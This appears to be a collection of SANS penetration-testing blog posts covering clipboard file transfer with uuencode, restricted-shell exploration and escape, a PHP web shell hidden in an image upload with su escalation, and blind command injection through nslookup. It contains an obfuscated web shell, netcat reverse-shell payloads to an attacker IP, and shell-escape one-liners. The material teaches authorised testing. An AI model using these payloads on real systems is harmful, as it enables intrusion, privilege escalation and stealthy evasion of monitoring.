Awkward Binary File Transfers with Cut and Paste

[Editor’s note: Josh Wright spins up another useful blog article about different ways to move files to and from Linux systems.  Lots of nice little tricks in this one.  Thanks, Josh! –Ed.]

By Josh Wright

Sometimes I find myself with access to a remote Linux or Unix box, with limited opportunity to transfer files to my target. I appreciate the “Living off the Land” mentality and relying on locally-available resources instead of adding tools to my host as much as the next guy (or gal), but sometimes I need a binary to get the job done.

Fortunately, I’ve been working with Unix and Linux for a long time, and I remember old techniques back when modems made that horrible screeching sound. As long as you have a terminal, you can upload and download files regardless of other network access… with a little awkwardness.

Encode and Clip

In the example that follows, I’m going to transfer the netcat-traditional “nc” binary to my target system.  I’m starting from Kali Linux, and my target is a CentOS system.  The distribution type makes little difference for these steps, other than ensuring your binary will work on the target system.

Step 1: Compress the Source Binary

Compress the source binary using a method that will be accessible on the target system.  Gzip is usually a smart choice:

-rwxr-xr-x 1 root root 22140 Jun 12 2012 /bin/nc.traditional
root@kali:~# gzip /bin/nc.traditional
root@kali:~# ls -l /bin/nc.traditional.gz
-rwxr-xr-x 1 root root 11197 Jun 12 2012 /bin/nc.traditional.gz

Step 2. Install Sharutils and Xsel

On the attacker system, install  the sharutils and xsel packages (we’ll use them next):

root@kali:~# apt-get install sharutils xsel
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
sharutils xsel
...
Setting up sharutils (1:4.11.1-1) ...
Setting up xsel (1.2.0-1) ...

Step 3. Alias Pbcopy

Mac OS X has a wonderful tool “pbcopy”, which takes the STDOUT from one program and places the content in the clipboard.  This makes it so you can “cat” a file and send the output to the clipboard without having to highlight everything in your terminal with a mouse.  Linux users have also had this for a while with the “xsel” (and “xclip”) tool.  Create an alias for pbcopy in your login profile so it is always accessible and easy to remember:

root@kali:~# echo "alias pbcopy='xsel --clipboard --input'"
>>~/.bash_profile
root@kali:~# source ~/.bash_profile
root@kali:~# alias pbcopy
alias pbcopy='xsel --clipboard --input'

Step 4. Transfer the File

With the prerequisites out of the way, we’ll transfer the file to the target system.  First we convert the binary 7-bit ASCII format using the uuencode utility.  Uuencode is the precursor the Base64 or MIME encoding techniques, and it breaks up the ASCII content into 63-character lines that makes it simpler to cut-and-paste than Base64 encoding.  In the example below, we specify the input filename twice – the first is the actual file, and the 2nd is the filename reference inside the uuencoded data:

root@kali:~# uuencode /bin/nc.traditional.gz /bin/nc | pbcopy

Next, switch to your target system, and create a new file using “cat”, pasting the content from the clipboard, and pressing “CTRL+C” at the end of the paste to close the file and return to the shell:

josh@centos:~ $ cat >nc.gz.uu
begin 755 /bin/nc.traditional.gz
M'XL("$YEUT\``VYC+G1R861I=&EO;F%L`-U\?WR4U97W,Y,)#B%D8H46*VT?
M==!@DT@0+3\U0$"T42,BV@+"D,PP(\G,=.:9`+Y40B<!QB$VW5I?=VLKE&[7
...
M/OH.]5W3B_+P.&ZOY='CMZ^.WG$^/:;7\_"XYAP'WID+X!W,IW<`]!I4S%3(
E7\KLGWA\K:SR3LPG6PY/-W.+EO4C7OZW(*TF_Q=K0^LO?%8`````
`
end
^C
josh@centos:~ $

Now we have a file called nc.gz.uu which we want to uudecode.  Do not fear if the target system is missing the uudecode utility — we have Python!

josh@centos:~$ python -c 'from uu import decode; decode("nc.gz.uu", "nc.gz")'
josh@centos:~$ gzip -d nc.gz
mock@centos:~$ chmod 755 nc
josh@centos:~$ ./nc -h
[v1.10-40]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
…

This process can get annoying when transferring multiple files, so remember that you can use tar to create an archive of everything you need to transfer first.

Conclusion 

Writing this article made me feel old.  I distinctly remember using this same technique back when I was writing articles for Virus Laboratories and Distribution (VLAD) in the 90’s.  That was ages ago, but good tricks die hard.

-Joshua Wright
jwright@willhackforsushi.com

Using Built-Ins to Explore a REALLY Restricted Shell

By Ed Skoudis and Josh Wright

Josh Wright and I were working on a project recently which involved a target machine with a really restricted shell environment. I’m not talking about a mere rbash with some limits on the executables we could access, but instead a shell so restricted we could not run any binaries at all, save for the shell itself. No ls…  no cat… no netcat… we could access very little. It was some sort of ghastly chroot specter.

Still, Josh and I wanted to explore the target machine as much as we could given these shell restrictions. Of course we could have tried escaping our restricted shell (as Doug Stilwell describes in more detail here) and even doing privilege escalation, but before that, we wanted to just look around. Thankfully, we had many shell built-in capabilities we could rely on.

For the uninitiated, shell built-ins are features of the shell that don’t rely on separate binaries in the system. For example, in bash, commands such as alias, printf, and echo are built-ins, which the shell can do itself, without calling a separate program. While some of these built-ins also have a binary of the same name (/bin/echo for example), your shell can rely on the built-in independently from the binary. Indeed, it can perform the task even if the binary isn’t available. Turns out, you can do a whole lot with these shell built-ins.

A handy list of bash built-ins is available here, and can be quite an inspiration when faced with a task like that before Josh and me.

We started by looking around in the file system, using the following well-known trick as our rough “ls” equivalent:

$ echo *
file.txt

We then wanted to look at the contents of file.txt, so we ran:

$ while read line; do echo "$line"; done < file.txt
Hello World!
This is a nice file.
Happy Holidays!

We then wanted to search through a file to find a specific string, rather like grep:

$ while read line; do if [[ $line == *"nice"* ]]; then echo $line; fi; done < ./file.txt
This is a nice file.

Want a count of the number of lines in a file (rather like wc -l)? Use something like:

$ i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i  
3

Want your UID number? You should try:

$ echo $UID
1024

Wanna do a whoami? If you have access to the world-readable /etc/passwd, you could build on what we saw above with:

$ while read line; do if [[ $line == *":x:$UID:"* ]]; then echo ${line%%:*}; fi; done < /etc/passwd
nobody

Those are just a few of the useful items we performed with built-ins. Got any more you’d like to share? Please do provide them in the comments below.

Thanks!

— Ed Skoudis & Josh Wright

Sneaky Stealthy SU in (Web) Shells

[In this article, the inimitable Tim Medin has some fun with PHP web shells, and merges together some clever ideas for interacting with them in a rather stealthier fashion using some Python kung fu! –Ed.]

By: Tim Medin

Here is the scenario: you have a server that allows you to upload an avatar. The site makes sure that the file ends with .jpg, .png, or .gif. Being the sneaky bugger you are (as a professional penetration tester operating within your scope and rules of engagement, naturally), you upload a file named shell.php.jpg, containing this delightful gem:

<?php @extract($_REQUEST); @die ($ctime($atime)); ?>

This file passes the extention check, but since it contains .php in the filename, many systems will execute it as a script. Also, this shell doesn’t include the telltale “/bin/sh”, “shell_exec”, or “system” strings and it looks like some sort of system commands associated with time to the untrained eye.

$ curl "http://Site/shell.php.jpg?ctime=system&atime=whoami"
apache

This by no means a new attack. The oldest reference I could find (in my vast two minutes of searching the deep web) is 2009, but the technique/attack is much older. Now that we have a shell (via web shell or command injection) on a Linux target, let’s look at how we can escalate permissions. A common next step is to establish a net cat session back the attacker’s system.

http://Site/shell.php.jpg?ctime=system&atime=nc+-nv+my.attack.er.ip+80+-e+/bin/sh

Or, if the target’s netcat doesn’t support -e, referred to as the GAPING_SECURITY_HOLE option, you could use the version below (as Ed Skoudis discovered at his Magical Olive Garden and documented here)

http://Site/shell.php.jpg?ctime=system&atime=mknod+/tmp/mypipe+p;+/bin/sh+</tmp/mypipe+|+nc+my.attack.er.ip+80+>/tmp/mypipe

Once we have the shell established, we need to upgrade the shell to use “sudo” or “su” as they interact with the shell in a unique way. Sterling Thomas posted an excellent list of upgrade techniques to the SANS GPWN mailing list. Once we use one of these techniques, we can use “sudo” and “su”.

What if you can’t or don’t want to have that outbound connection back to your box but you want to upgrade your shell in-line with your webshell? Sending data in HTTP POST requests is much more stealthy, as the posts typically aren’t logged and there isn’t that pesky outbound connection we saw with Netcat. Simple commands work fine this way.

$ curl "http://Site/shell.php.jpg" --data="ctime=system&atime=ls+-la"

We can send commands to the server, but we likely can’t use “sudo” as the web server’s account (such as apache) shouldn’t be in the /etc/sudoers file. This means we need to use “su” to upgrade. The “su” command has a “-c” option that allows us to specify a command. However, we have a problem — we need to run “su” and provide a password. What happens if we use echo to send the password into “su”? Let’s test it with our own shell.

$ echo password | su -c whoami
standard in must be a tty

Bah!  You might get the error “must be run from a terminal”, but either way we are out of luck with this technique.  The su command wants us to work from a terminal, not take in raw stuff via the shell’s Standard Input.

Now, here comes the trick. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell.  Watch this:

$ (sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"
root

BOOM!!

We need the sleep to pause just long enough for python to start and execute “su”. A second later (Python should be ready by then) the password is sent in, and we “got root”. We can now run whatever we want, as root.

We can use this technique to bruteforce the root password too. Of course, this method would also work with command injection too.

Now we can stay stealthier and have more access, two things I very much love!

Many of the concepts and techniques we discuss here covered in detail in the SANS flagship penetration testing course, SANS Security 560: Network Penetration Testing and Ethical Hacking, which covers end-to-end pen testing in depth with tons of hands-on labs.  Upcoming sessions include Boston in late July, Virginia Beach in late August, and Bangkok in August!

–Tim Medin
Counter Hack
@timmedin

Command Injection Tips: Leveraging Command-line Kung Fu with nslookup

[Editor’s Note: Tom Heffron provides some really cool tips for leveraging nslookup in web app command-injection attacks.  His ideas for using environment variables is pretty nifty, and his point about how to launch this so that it doesn’t require an authoritative DNS server is great.  –Ed.]

When I took the recent SANS SEC 560 vLive course (yes, with Smell-O-Vision!) in January and February, I was super pumped to study the Pen Testing Arts under Sensei Skoudis and Sensei Medin. The last half of Day 5 focused on web app attacks (including hands-on exercises for XSRF, XSS, SQLi, and command injection).  I took a particular interest in the command injection portion of the class, thinking about how to mix in a little command-line kung fu with nslookup, so that a pen tester may actually gather more information about the target environment in a flexible fashion.

Sometimes when I’m working at home, I like to pretend that I never read a particular paragraph in Tim Medin’s earlier post  on this blog <<shiver>> on pillaging iOS images for useful data. But, I’ll expand on his scenario of Department X and evil Dr. Loki. (Emphatically noted that I’ll be fully dressed in normal clothes – not in tights or a cape!)

In our scenario illustrating my approach, Department X was successful in capturing evil Dr. Loki and keeping him from acquiring large quantities of trout and <redacted> pizza. (Yay!) Dr. Loki is now being held in solitary confinement at the Conglomo State Prison. Unfortunately, the warden allows prison guards to perform DNS lookups for inmates. (Work with me – – it’s not my super-hero fantasy!) Little do the authorities know that this will allow Dr. Loki to use the prison guards to communicate with his evil minions!

Now, using their favorite method of blind command injection, crafty pen testers might choose to invoke ping on the target as it’s rather universal for all operating systems. However, it has the side effect of behaving slightly differently on different operating systems and could leave a process running on the system. Also, a well-informed network admin would likely block ping from an internal production database or web server directly to the Internet. An additional pitfall is that continuously blocked ping requests may show up in firewall logs or even trigger an IDS alert. In the case of blocked ping, the pen tester may have successfully initiated the blind command injection, but does not know it… and worse yet, that pen tester may have gotten noticed by careful sysadmins or scrupulous security personnel.

1) Enter nslookup

While a well-insulated production server may not have direct access to the Internet, the fact that DNS is distributed will allow the A record query to ripple from server to server until it reaches one that does have the needed access. A simple command like the following will work (you’d inject the following into the fields of the web app):

nslookup minions-of-loki.no-minions.here

If the command injection is successful, it will, by default, traverse from target host, to internal DNS server, to external DNS server, then along the standard pathway on the Internet. A pen tester having access to the authoritative DNS for “no-minions.here” could sniff for this traffic and see that the command injection was successful. Even though the request was not directly from the target host, we know our command injection was successful because it was initiated by the target host.  We could even put a very specific identifier string in the first portion of the domain name to ensure that it is our injected data that is triggering the lookup and to differentiate input fields we are testing for command injection, such as field123-minions-of-loki.no-minions.here.

If the command injection is not successful, then the pen tester can be confident that: 1) it is not due to different behavior between Windows and UNIX/Linux; and 2) there are not any processes left running that leave evidence of an attempted exploit (nslookup simply completes or times out and dies).  Nslookup For The Win (over ping) in command injection.  But, this is just scratching the surface.  Let’s make this baby sing.

2) Leveraging your command-line kung fu

While the basic form of the nslookup command is the same for Windows and UNIX/Linux, ninja pen testers can then turn to different interpretations of shell variables and use this to their advantage while passing options to the nslookup command. The identifier %os% means nothing to UNIX/Linux but will force a Windows machine to translate that shell variable into the core OS type (in most cases, it will be the string ‘Windows_NT’). Using the single command-line:

nslookup %os%.no-minions.here

will force the different operating system behaviors to be at a point that is much more useful to us. On a Windows system, the resulting A record query will be for:

Windows_NT.no-minions.here

and, on UNIX/Linux there will be no translation, so the resulting A record query will be for:

%os%.no-minions.here

Fear not, my fellow pen testers, the acceptance of Unicode characters into the DNS structure allows these unusual characters to traverse the Internet without error. (RFC 2044).

Of course, the %os% value itself on Windows requires a shell to be running to expand that variable into its value.  The web app with a command injection flaw may be launching a shell, or it may not (and instead, it just blindly runs whatever command we enter, shell-less).  If that is the case, you could inject:

cmd.exe /c “nslookup %os%.no-minions.here”

This launches a shell to run the nslookup command.  That shell can now expand the %os% variable to its value on Windows.

Back at our authoritative DNS server for “no-minions.here,” we sniff the network to view the query coming in. Seeing ‘Windows_NT’ as the host indicates our target is any one of the currently-supported Microsoft OS family, and seeing ‘%os%’ as the host means our target is likely in the UNIX/Linux family. Now, you can apply the proper tool set when attempting further penetration testing of the target. Keep in mind that your authoritative DNS server does not need to reply with a valid address for either request because “non-existent host” is a valid response to a successful A record query. Heck, as we’ll see, the DNS host doesn’t even need to respond at all…

3) Apply additional stealth

So far, we’ve applied the example where the pen tester has access to the authoritative name server for the domain that the target host is querying (“no-minions.here” in our case). But a closer look at the nslookup command reveals an additional parameter which can be very helpful. Again, this form is the same across nslookup in both Windows and UNIX/Linux. Adding a second parameter to nslookup tells the target host which DNS server it should query for the A record:

nslookup %os%.no-minions.here [server-to-query]

Whether the ‘server-to-query’ parameter is a host on the Internet or a compromised internal machine, simply opening up a netcat listener on UDP port 53 on that host will provide the information we need about the target host. The beauty here is that you don’t need to have an authoritative DNS server for this approach to work.  And, using Netcat to listen on UDP, you don’t even have to sniff for the request.  You simply tell nslookup where to send its query (a place where you are waiting with Netcat or sniffing for requests)!  Let’s say you have compromised a Linux host in the target environment with the IP address of 10.10.10.20.  On that machine, you could run:

[on pwned box] # nc -nu -l 53

[on target web application host through command injection] nslookup %os%.no-minions.here 10.10.10.20

Once netcat shows the inbound request from the target host and the unique string indicating whether it is a Windows or UNIX/Linux host, the pen tester can simply stop netcat and move onto deeper command injection. The process will simply time out on the target host and die gracefully.  No response is necessary.

If all of the above are successful, the crafty pen tester has a technique that:

  • Will likely not be noticed by administrators.
  • Leverages the target host’s own OS to provide information about its OS type.
  • Verifies the target host has outbound connectivity to the attacker either directly or indirectly through outbound DNS lookups (a very effective covert signaling channel with tools such as Ron Bowes’ DNScat).
  • Verifies the target host successfully executes command injection.
  • Leverages the target environment’s own infrastructure to verify command execution.
  • Eliminates the risk of leaving orphaned ping processes running on the target host.
  • Doesn’t require the pen tester to have an authoritative DNS server to receive the request.

Enjoy!

— Tom Heffron
Penetration Tester

Escaping Restricted Linux Shells

[Editor’s Note: On the GPWN mailing list for SANS Pen Test Course Alumni a few months ago, we had a nice, lively discussion about techniques penetration testers and ethical hackers could use to escape a restricted shell environment. A lot of nifty techniques were offered in what amounted to an interactive brainstorming session on the list. Doug Stilwell offered to write an article based on the discussion and his own experience. I really like what he’s come up with, and I think it’ll be a handy reference for folks who find themselves facing a restricted shell in a pen test and need to get deeper access into the target system. Thanks for the cool article, Doug! -Ed.]

By Doug Stilwell
@lepwn

Introduction

Last year I was approached by a systems engineer and he offered me a steak dinner if I could escape the restricted shell he had set up on a Linux server. The restricted shell was being created due to a request from the development group needing access to certain servers for troubleshooting, and he wanted to restrict what they could do. I don’t know about most of you, but a challenge alone from one of my colleagues is more than enough to get me going, but a steak dinner? Where do I sign?! The only thing better would have been a case of beer! I wasn’t very familiar with restricted shells so off to Google I went for some assistance. It didn’t take long before I noticed there was a lack of information on the topic. Information was scattered and most resources were not very descriptive. In addition to internet research, I also consulted the SANS GPWN e-mail distribution list to see if anybody had any cool tricks. It turns out, they did, but the consensus was that they’d like to see an article published covering this topic.

Scope

The purpose of this article is to create a better resource for penetration testers to assist them when confronted with a restricted shell. In no way will this be an exhaustive account of all techniques, but instead, I’m going to cite several of the most applicable and effective techniques in this handy reference document. This article is not going to cover defending restricted shell attacks, focus on specific flavors of Linux, nor is it going to cover every restricted shell since they can be configured many ways. Therefore, command line syntax may differ depending on the version of Linux you’re familiar with. I will focus mainly on the techniques themselves. Of course, if you find a way to exploit a running process to escalate your privileges, then there is no need to escape the shell.

A Restricted Shell… What Is It?

It limits a user’s ability and only allows them to perform a subset of system commands. Typically, a combination of some or all of the following restrictions are imposed by a restricted shell:

  • Using the ‘cd’ command to change directories.
  • Setting or unsetting certain environment variables (i.e. SHELL, PATH, etc…).
  • Specifying command names that contain slashes.
  • Specifying a filename containing a slash as an argument to the ‘.’ built-in command.
  • Specifying a filename containing a slash as an argument to the ‘-p’ option to the ‘hash’ built-in command.
  • Importing function definitions from the shell environment at startup.
  • Parsing the value of SHELLOPTS from the shell environment at startup.
  • Redirecting output using the ‘>’, ‘>|’, ”, ‘>&’, ‘&>’, and ‘>>’ redirection operators.
  • Using the ‘exec’ built-in to replace the shell with another command.
  • Adding or deleting built-in commands with the ‘-f’ and ‘-d’ options to the enable built-in.
  • Using the ‘enable’ built-in command to enable disabled shell built-ins.
  • Specifying the ‘-p’ option to the ‘command’ built-in.
  • Turning off restricted mode with ‘set +r’ or ‘set +o restricted’.

Since business needs override security a good portion of the time, it’s possible that some of the above restrictions are relaxed. So do not assume that these restrictions are set in stone. I suggest you QC the quality of the restricted shell.

Reconnaissance

The first step should be to gather a little information. You’ll need to know your environment. Run the ‘env’ command to understand how your profile is configured. You’ll see which shell you’re running and where your PATH is pointing to. Once you know what your PATH is, list the contents of the directory (i.e. ‘ls /usr/local/rbin’) to see which commands are present. It is possible you may not be able to run the ‘ls’ command. If not, you can use the ‘echo’ command with an asterisk to ‘glob’ directory contents if it’s available:

echo /usr/local/rbin/*

You can continue on through the file system using this command to help you find other files and commands. Basically, you’ll be armed with built-in shell commands as well as the ones listed in your PATH. This is your arsenal for attacking the restricted shell, but there may be exceptions as we’ll find out. Once you know which commands you can execute, research each one of them to see if there are known shell escapes associated with them. Some of the techniques we’re about to get into can be combined together.

Change PATH or SHELL Environment Variables

Type ‘export -p’ to see the exported variables in the shell. What this will also show you is which variables are read-only. You’ll note that most likely the PATH and SHELL variables are ‘-rx’, which means you execute them, but not write to them. If they are writeable, then you can start giggling now as you’ll be able to escape the restricted shell in no time! If the SHELL variable is writeable, you can simply set it to your shell of choice (i.e. sh, bash, ksh, etc…). If the PATH is writeable, then you’ll be able to set it to any directory you want. I recommend setting it to one that has commands vulnerable to shell escapes.

Copying Files

If you’re able to copy files into your PATH, then you’ll be able to bypass the forward slash restriction. The sky is the limit at this point as you can copy commands into the PATH that have known shell escapes. You can also write your own script, copy it to the PATH, and execute it.

Another technique is to try and copy files to your home directory and execute them from there. Execution will be difficult as you will have to use ‘./’ in order to get it to run, and as we already know, it will fail since the restricted shell will not allow the use of a forward slash. Keep in mind, you may be able to get the commands you copy to your home directory to run if you’re able to couple it with another command that has a shell escape.

Other ways you may be able to copy files or get access to them include mounting a device or file system. You may also be able to copy them to your system using a program that can copy files such as SCP or FTP.

Try to find directories other than your PATH where you can execute commands from. If you have write access to them, you can copy commands here and may be able to execute them.

Lastly, consider creating a symbolic link in a directory where you have write access and the ability to run commands

Editors

One of the most well documented techniques is to spawn a shell from within an editor such as ‘vi’ or ‘vim’. Open any file using one of these editors and type the following and execute it from within the editor:

:set shell=/bin/bash

Next, type and execute:

:shell

Another method is to type:

:! /bin/bash

If either of these works, you will have an unrestricted shell from within the editor. Most modern restricted shells already defend against this hack, but it’s always worth a shot. You may be working from a restricted editor such as rvi or rvim, which will almost certainly stop a shell from spawning. Also, try different shells with this technique and ones that follow as some restricted shells may block ‘sh’ or ‘bash’.

Awk Command

If you can run ‘awk’, you can attempt to execute a shell from within it.

Type the following:

awk 'BEGIN {system("/bin/sh")}'

If successful, you’ll see an unrestricted shell prompt!

Find Command

If the ‘find’ command is present, you can attempt to use the ‘-exec’ function within it.

Type the following:

find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

Again, if successful, you’ll see a blinking cursor at an unrestricted shell prompt! Note that in the above example, you are able to call the ‘awk’ command even if it is not present in our PATH. This is important because you are able to bypass the restriction of only being permitted to execute commands in your PATH. You are not limited to the ‘awk’ command.

More, Less, and Man Commands

There is a known escape within these commands. After you use the ‘more’, ‘less’, or ‘man’ command with a file, type ‘!’ followed by a command. For instance, try the following once inside the file:

'! /bin/sh'
'!/bin/sh'
'!bash'

Like the shell escape in ‘awk’ and ‘find’, if successful, you’ll be sitting at an unrestricted shell prompt. Note you can try different shells, and the space after the ‘!’ may not matter.

Tee Command

If you do not have access to an editor, and would like to create a script, you can make use of the ‘tee’ command. Since you cannot make use of ‘>’ or ‘>>’, the ‘tee’ command can help you direct your output when used in tandem with the ‘echo’ command. This is not a shell escape in of itself, but consider the following:

echo “evil script code” | tee script.sh

You will be able to create a file called script.sh in your home directory and add your script code to the file. Once the file is created, use the ‘tee -a’ option for all subsequent commands as the ‘-a’ allows you to append to the file rather than overwrite the file.
Favorite Language?

Try invoking a SHELL through your favorite language:

  • python: exit_code = os.system(‘/bin/sh’) output = os.popen(‘/bin/sh’).read()
  • perl -e ‘exec “/bin/sh”;’
  • perl: exec “/bin/sh”;
  • ruby: exec “/bin/sh”
  • lua: os.execute(‘/bin/sh’)
  • irb(main:001:0> exec “/bin/sh”

Most likely, you will not be able to execute any of these, but it’s worth a shot in case they’re installed.

Files Executed in Unrestricted Mode?

Some restricted shells will start by running some files in an unrestricted mode before the restricted shell is applied. If your .bash_profile is executed in an unrestricted mode and it’s editable, you’ll be able to execute code and commands as an unrestricted user.

Conclusion

This article is far from conclusive on techniques used to escape restricted shells, but hopefully it was informative and helped you learn some new tricks. What I’ve come to discover is that there are many ways to attack a restricted shell. You truly are only limited by your imagination. I encourage everyone to try these methods and expand on them and develop new techniques!

Earlier, I mentioned a steak dinner was offered to me if I was able to break out of this custom restricted shell created by an engineer. I was successfully able to break out of it using multiple techniques, but when I asked him for the steak dinner, he came up with an excuse on why he wouldn’t do it. I’m considering another approach:

I love xkcd alt text. It's often funnier than the comic itself.

Original comic from xkcd by Randall Munroe

Other Sources

I’d like to thank Mike Cripps and Warren Barkalow, my coworkers, for reviewing my article and providing valuable feedback. I’d also like to acknowledge and thank the folks on the GPWN list for their great input and brainstorming, especially Sterling Thomas, Jesse Bowling, and Miika Turkia.

http://www.gnu.org/s/bash/manual/html_node/The-Restricted-Shell.html

http://linuxshellaccount.blogspot.com/2008/05/restricted-accounts-and-vim-tricks-in.html

http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,8664.0/

Thanks for reading!

Doug Stilwell – https://twitter.com/@lepwn

Pen Test Cheat Sheets:

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02